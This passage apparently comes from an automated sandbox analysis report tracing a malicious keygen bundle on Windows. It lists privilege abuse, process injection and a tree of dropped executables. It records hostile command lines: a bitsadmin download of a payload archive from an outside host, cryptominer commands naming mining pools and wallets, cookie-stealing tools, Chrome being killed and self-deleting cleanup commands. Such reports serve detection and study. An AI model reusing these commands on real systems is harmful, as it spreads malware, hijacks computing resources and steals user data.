Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe
Token: SeUndockPrivilege	2676	svchost.exe
Token: SeManageVolumePrivilege	2676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe
Token: SeUndockPrivilege	2676	svchost.exe
Token: SeManageVolumePrivilege	2676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe
Token: SeUndockPrivilege	2676	svchost.exe
Token: SeManageVolumePrivilege	2676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2676	svchost.exe
Token: SeIncreaseQuotaPrivilege	2676	svchost.exe
Token: SeSecurityPrivilege	2676	svchost.exe
Token: SeTakeOwnershipPrivilege	2676	svchost.exe
Token: SeLoadDriverPrivilege	2676	svchost.exe
Token: SeSystemtimePrivilege	2676	svchost.exe
Token: SeBackupPrivilege	2676	svchost.exe
Token: SeRestorePrivilege	2676	svchost.exe
Token: SeShutdownPrivilege	2676	svchost.exe
Token: SeSystemEnvironmentPrivilege	2676	svchost.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

ultramediaburner.tmp

pid process

1104 ultramediaburner.tmp
2116
2116
2116
2116

pid	process
1104	ultramediaburner.tmp
2116
2116
2116
2116

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

xiuhuali.exeMicrosoftEdge.exegoogle-game.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid	process
1828	xiuhuali.exe
1828	xiuhuali.exe
4700	MicrosoftEdge.exe
4696
1380	google-game.exe
1380	google-game.exe
4696
5664	MicrosoftEdge.exe
5916	MicrosoftEdgeCP.exe
5916	MicrosoftEdgeCP.exe
3388	MicrosoftEdge.exe
5028	MicrosoftEdgeCP.exe
5028	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

2116

pid	process
2116

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

keygen-step-4 — копия.exexiuhuali.exerundll32.exesvchost.exeInstall.exeInstall.tmpUltra.exeultramediaburner.exeultramediaburner.tmpQotaevimylu.execmd.exefilee.exeexplorer.exe

description	pid	process	target process
PID 3856 wrote to memory of 1828	3856	keygen-step-4 — копия.exe	xiuhuali.exe
PID 3856 wrote to memory of 1828	3856	keygen-step-4 — копия.exe	xiuhuali.exe
PID 3856 wrote to memory of 1828	3856	keygen-step-4 — копия.exe	xiuhuali.exe
PID 1828 wrote to memory of 4040	1828	xiuhuali.exe	rundll32.exe
PID 1828 wrote to memory of 4040	1828	xiuhuali.exe	rundll32.exe
PID 1828 wrote to memory of 4040	1828	xiuhuali.exe	rundll32.exe
PID 3856 wrote to memory of 3944	3856	keygen-step-4 — копия.exe	JoSetp.exe
PID 3856 wrote to memory of 3944	3856	keygen-step-4 — копия.exe	JoSetp.exe
PID 4040 wrote to memory of 3684	4040	rundll32.exe	svchost.exe
PID 3684 wrote to memory of 1540	3684	svchost.exe	svchost.exe
PID 3684 wrote to memory of 1540	3684	svchost.exe	svchost.exe
PID 4040 wrote to memory of 2576	4040	rundll32.exe	svchost.exe
PID 3684 wrote to memory of 1540	3684	svchost.exe	svchost.exe
PID 4040 wrote to memory of 348	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 2376	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 2356	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 1088	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 296	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 1440	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 1880	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 1244	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 1284	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 2676	4040	rundll32.exe	svchost.exe
PID 4040 wrote to memory of 2692	4040	rundll32.exe	svchost.exe
PID 3856 wrote to memory of 1408	3856	keygen-step-4 — копия.exe	Install.exe
PID 3856 wrote to memory of 1408	3856	keygen-step-4 — копия.exe	Install.exe
PID 3856 wrote to memory of 1408	3856	keygen-step-4 — копия.exe	Install.exe
PID 1408 wrote to memory of 2120	1408	Install.exe	Install.tmp
PID 1408 wrote to memory of 2120	1408	Install.exe	Install.tmp
PID 1408 wrote to memory of 2120	1408	Install.exe	Install.tmp
PID 2120 wrote to memory of 3952	2120	Install.tmp	Ultra.exe
PID 2120 wrote to memory of 3952	2120	Install.tmp	Ultra.exe
PID 3952 wrote to memory of 4088	3952	Ultra.exe	ultramediaburner.exe
PID 3952 wrote to memory of 4088	3952	Ultra.exe	ultramediaburner.exe
PID 3952 wrote to memory of 4088	3952	Ultra.exe	ultramediaburner.exe
PID 4088 wrote to memory of 1104	4088	ultramediaburner.exe	ultramediaburner.tmp
PID 4088 wrote to memory of 1104	4088	ultramediaburner.exe	ultramediaburner.tmp
PID 4088 wrote to memory of 1104	4088	ultramediaburner.exe	ultramediaburner.tmp
PID 1104 wrote to memory of 2372	1104	ultramediaburner.tmp	UltraMediaBurner.exe
PID 1104 wrote to memory of 2372	1104	ultramediaburner.tmp	UltraMediaBurner.exe
PID 3952 wrote to memory of 4132	3952	Ultra.exe	SHyxaeshedaci.exe
PID 3952 wrote to memory of 4132	3952	Ultra.exe	SHyxaeshedaci.exe
PID 3952 wrote to memory of 4192	3952	Ultra.exe	Qotaevimylu.exe
PID 3952 wrote to memory of 4192	3952	Ultra.exe	Qotaevimylu.exe
PID 3856 wrote to memory of 4300	3856	keygen-step-4 — копия.exe	filee.exe
PID 3856 wrote to memory of 4300	3856	keygen-step-4 — копия.exe	filee.exe
PID 3856 wrote to memory of 4300	3856	keygen-step-4 — копия.exe	filee.exe
PID 4192 wrote to memory of 4912	4192	Qotaevimylu.exe	cmd.exe
PID 4192 wrote to memory of 4912	4192	Qotaevimylu.exe	cmd.exe
PID 4912 wrote to memory of 5028	4912	cmd.exe	instEU.exe
PID 4912 wrote to memory of 5028	4912	cmd.exe	instEU.exe
PID 4912 wrote to memory of 5028	4912	cmd.exe	instEU.exe
PID 4300 wrote to memory of 1828	4300	filee.exe	748A.tmp.exe
PID 4300 wrote to memory of 1828	4300	filee.exe	748A.tmp.exe
PID 4300 wrote to memory of 1828	4300	filee.exe	748A.tmp.exe
PID 4300 wrote to memory of 4084	4300	filee.exe	explorer.exe
PID 4300 wrote to memory of 4084	4300	filee.exe	explorer.exe
PID 4192 wrote to memory of 3864	4192	Qotaevimylu.exe	cmd.exe
PID 4192 wrote to memory of 3864	4192	Qotaevimylu.exe	cmd.exe
PID 4192 wrote to memory of 1768	4192	Qotaevimylu.exe	cmd.exe
PID 4192 wrote to memory of 1768	4192	Qotaevimylu.exe	cmd.exe
PID 4084 wrote to memory of 3732	4084	explorer.exe	msiexec.exe
PID 4084 wrote to memory of 3732	4084	explorer.exe	msiexec.exe
PID 4084 wrote to memory of 3732	4084	explorer.exe	msiexec.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2576

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1880

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1440

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1284

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1244

C:\Users\Admin\AppData\Local\Temp\keygen-step-4 — копия.exe
"C:\Users\Admin\AppData\Local\Temp\keygen-step-4 — копия.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3856

C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
3⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4040

C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3944

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1408

C:\Users\Admin\AppData\Local\Temp\is-4BVGQ.tmp\Install.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4BVGQ.tmp\Install.tmp" /SL5="$6006A,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2120

C:\Users\Admin\AppData\Local\Temp\is-UHBVD.tmp\Ultra.exe
"C:\Users\Admin\AppData\Local\Temp\is-UHBVD.tmp\Ultra.exe" /S /UID=burnerch1
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952

C:\Program Files\Microsoft Office 15\IQHOOGNAJT\ultramediaburner.exe
"C:\Program Files\Microsoft Office 15\IQHOOGNAJT\ultramediaburner.exe" /VERYSILENT
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4088

C:\Users\Admin\AppData\Local\Temp\is-DAAK5.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DAAK5.tmp\ultramediaburner.tmp" /SL5="$4014A,281924,62464,C:\Program Files\Microsoft Office 15\IQHOOGNAJT\ultramediaburner.exe" /VERYSILENT
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1104

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
7⤵
- Executes dropped EXE
PID:2372

C:\Users\Admin\AppData\Local\Temp\97-d7f8e-27e-7d398-14071a9d50e56\SHyxaeshedaci.exe
"C:\Users\Admin\AppData\Local\Temp\97-d7f8e-27e-7d398-14071a9d50e56\SHyxaeshedaci.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
PID:4132

C:\Users\Admin\AppData\Local\Temp\34-5068a-5f2-34db6-8d7fdde1316bb\Qotaevimylu.exe
"C:\Users\Admin\AppData\Local\Temp\34-5068a-5f2-34db6-8d7fdde1316bb\Qotaevimylu.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4192

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ogtz2h5l.p2x\instEU.exe & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:4912

C:\Users\Admin\AppData\Local\Temp\ogtz2h5l.p2x\instEU.exe
C:\Users\Admin\AppData\Local\Temp\ogtz2h5l.p2x\instEU.exe
7⤵
- Executes dropped EXE
PID:5028

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dvf2int3.2p2\google-game.exe & exit
6⤵
PID:3864

C:\Users\Admin\AppData\Local\Temp\dvf2int3.2p2\google-game.exe
C:\Users\Admin\AppData\Local\Temp\dvf2int3.2p2\google-game.exe
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:1380

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
8⤵
- Loads dropped DLL
PID:2632

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q5ziqwq5.trn\md1_1eaf.exe & exit
6⤵
PID:1768

C:\Users\Admin\AppData\Local\Temp\q5ziqwq5.trn\md1_1eaf.exe
C:\Users\Admin\AppData\Local\Temp\q5ziqwq5.trn\md1_1eaf.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4332

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2vnx003f.iu0\y1.exe & exit
6⤵
PID:4812

C:\Users\Admin\AppData\Local\Temp\2vnx003f.iu0\y1.exe
C:\Users\Admin\AppData\Local\Temp\2vnx003f.iu0\y1.exe
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5276

C:\Users\Admin\AppData\Local\Temp\LEaI8X1jlT.exe
"C:\Users\Admin\AppData\Local\Temp\LEaI8X1jlT.exe"
8⤵
PID:2280

C:\Users\Admin\AppData\Roaming\1619298401128.exe
"C:\Users\Admin\AppData\Roaming\1619298401128.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619298401128.txt"
9⤵
- Executes dropped EXE
PID:6004

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\LEaI8X1jlT.exe"
9⤵
PID:4340

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
10⤵
- Runs ping.exe
PID:4008

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2vnx003f.iu0\y1.exe"
8⤵
PID:5044

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:2332

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eqaqht0h.idm\askinstall39.exe & exit
6⤵
PID:4528

C:\Users\Admin\AppData\Local\Temp\eqaqht0h.idm\askinstall39.exe
C:\Users\Admin\AppData\Local\Temp\eqaqht0h.idm\askinstall39.exe
7⤵
- Executes dropped EXE
PID:5404

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
8⤵
PID:5916

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
9⤵
- Kills process with taskkill
PID:1840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mqghroqq.yb5\inst.exe & exit
6⤵
PID:5260

C:\Users\Admin\AppData\Local\Temp\mqghroqq.yb5\inst.exe
C:\Users\Admin\AppData\Local\Temp\mqghroqq.yb5\inst.exe
7⤵
PID:5664

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\is15j23a.3jz\SunLabsPlayer.exe /S & exit
6⤵
PID:5536

C:\Users\Admin\AppData\Local\Temp\is15j23a.3jz\SunLabsPlayer.exe
C:\Users\Admin\AppData\Local\Temp\is15j23a.3jz\SunLabsPlayer.exe /S
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:6120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:4852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:5636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:3180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:4952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:5420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
- Checks for any installed AV software in registry
PID:2332

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
8⤵
- Download via BitsAdmin
PID:5356

C:\Program Files (x86)\lighteningplayer\data_load.exe
"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pacW6lxxG1IaGlAt -y x C:\zip.7z -o"C:\Program Files\temp_files\"
8⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4168

C:\Program Files (x86)\lighteningplayer\data_load.exe
"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pHdzODtajtIetLGd -y x C:\zip.7z -o"C:\Program Files\temp_files\"
8⤵
- Executes dropped EXE
PID:5652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:2344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:4004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:6088

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:5700

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:2732

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\uWLqXxKeTaZF\uWLqXxKeTaZF.dll" uWLqXxKeTaZF
8⤵
- Loads dropped DLL
PID:4856

C:\Windows\system32\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\uWLqXxKeTaZF\uWLqXxKeTaZF.dll" uWLqXxKeTaZF
9⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:5084

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
- Drops file in Program Files directory
PID:4924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:4916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:5916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:3480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nstB56D.tmp\tempfile.ps1"
8⤵
PID:5304

C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:8

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\js5ahhy0.kol\GcleanerWW.exe /mixone & exit
6⤵
PID:5736

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lwafpkxo.ge3\toolspab1.exe & exit
6⤵
PID:6080

C:\Users\Admin\AppData\Local\Temp\lwafpkxo.ge3\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\lwafpkxo.ge3\toolspab1.exe
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6020

C:\Users\Admin\AppData\Local\Temp\lwafpkxo.ge3\toolspab1.exe
C:\Users\Admin\AppData\Local\Temp\lwafpkxo.ge3\toolspab1.exe
8⤵
PID:5264

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\22vbzxmh.pvf\c7ae36fa.exe & exit
6⤵
PID:5364

C:\Users\Admin\AppData\Local\Temp\22vbzxmh.pvf\c7ae36fa.exe
C:\Users\Admin\AppData\Local\Temp\22vbzxmh.pvf\c7ae36fa.exe
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4748

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p2vz2z2q.eii\app.exe /8-2222 & exit
6⤵
PID:3324

C:\Users\Admin\AppData\Local\Temp\p2vz2z2q.eii\app.exe
C:\Users\Admin\AppData\Local\Temp\p2vz2z2q.eii\app.exe /8-2222
7⤵
- Executes dropped EXE
PID:4880

C:\Users\Admin\AppData\Local\Temp\p2vz2z2q.eii\app.exe
"C:\Users\Admin\AppData\Local\Temp\p2vz2z2q.eii\app.exe" /8-2222
8⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4504

C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
2⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4300

C:\Users\Admin\AppData\Roaming\748A.tmp.exe
"C:\Users\Admin\AppData\Roaming\748A.tmp.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1828

C:\Users\Admin\AppData\Roaming\748A.tmp.exe
"C:\Users\Admin\AppData\Roaming\748A.tmp.exe"
4⤵
- Executes dropped EXE
- Checks processor information in registry
PID:4452

C:\Users\Admin\AppData\Roaming\774A.tmp.exe
"C:\Users\Admin\AppData\Roaming\774A.tmp.exe"
3⤵
PID:4084

C:\Windows\system32\msiexec.exe
-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w11110@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
4⤵
PID:3732

C:\Windows\system32\msiexec.exe
-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w27473 --cpu-max-threads-hint 50 -r 9999
4⤵
- Blocklisted process makes network request
PID:4892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
3⤵
PID:5452

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
4⤵
- Runs ping.exe
PID:5888

C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3844

C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5408

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:5112

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:3696

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:676

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
3⤵
- Executes dropped EXE
PID:5416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1088

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:296

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4820

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4368

C:\Users\Admin\AppData\Roaming\jhjgcci
C:\Users\Admin\AppData\Roaming\jhjgcci
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5028

C:\Users\Admin\AppData\Roaming\jhjgcci
C:\Users\Admin\AppData\Roaming\jhjgcci
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2004

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1944

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:3968

C:\Users\Admin\AppData\Roaming\jhjgcci
C:\Users\Admin\AppData\Roaming\jhjgcci
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5856

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2336

C:\Users\Admin\AppData\Roaming\avjgcci
C:\Users\Admin\AppData\Roaming\avjgcci
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
